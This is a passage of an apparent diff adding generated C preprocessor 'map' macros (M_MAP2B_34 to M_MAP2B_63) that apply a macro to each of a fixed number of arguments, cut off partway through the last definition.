+#define M_MAP2B_34(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) 
+#define M_MAP2B_35(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) 
+#define M_MAP2B_36(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) 
+#define M_MAP2B_37(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) 
+#define M_MAP2B_38(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) 
+#define M_MAP2B_39(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) 
+#define M_MAP2B_40(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) 
+#define M_MAP2B_41(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) 
+#define M_MAP2B_42(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) 
+#define M_MAP2B_43(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) 
+#define M_MAP2B_44(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) 
+#define M_MAP2B_45(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) 
+#define M_MAP2B_46(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) 
+#define M_MAP2B_47(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) 
+#define M_MAP2B_48(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) 
+#define M_MAP2B_49(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) 
+#define M_MAP2B_50(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) 
+#define M_MAP2B_51(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) 
+#define M_MAP2B_52(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) 
+#define M_MAP2B_53(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) 
+#define M_MAP2B_54(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) 
+#define M_MAP2B_55(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) 
+#define M_MAP2B_56(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) f(d, _56) 
+#define M_MAP2B_57(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) f(d, _56) f(d, _57) 
+#define M_MAP2B_58(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) f(d, _56) f(d, _57) f(d, _58) 
+#define M_MAP2B_59(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) f(d, _56) f(d, _57) f(d, _58) f(d, _59) 
+#define M_MAP2B_60(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) f(d, _56) f(d, _57) f(d, _58) f(d, _59) f(d, _60) 
+#define M_MAP2B_61(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) f(d, _56) f(d, _57) f(d, _58) f(d, _59) f(d, _60) f(d, _61) 
+#define M_MAP2B_62(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) f(d, _56) f(d, _57) f(d, _58) f(d, _59) f(d, _60) f(d, _61) f(d, _62) 
+#define M_MAP2B_63(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) 